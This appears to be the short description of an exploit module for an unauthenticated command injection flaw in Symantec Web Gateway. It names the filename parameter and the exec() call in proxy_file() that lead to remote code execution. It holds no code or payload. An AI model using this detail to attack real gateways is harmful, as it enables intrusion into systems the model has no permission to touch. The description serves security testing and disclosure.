|
|
This module exploits a command injection vulnerability found in Symantec Web
|
|
Gateway's HTTP service. While handling the filename parameter, the Spywall API
|
|
does not do any filtering before passing it to an exec() call in proxy_file(),
|
|
thus results in remote code execution under the context of the web server. Please
|
|
note authentication is NOT needed to gain access.
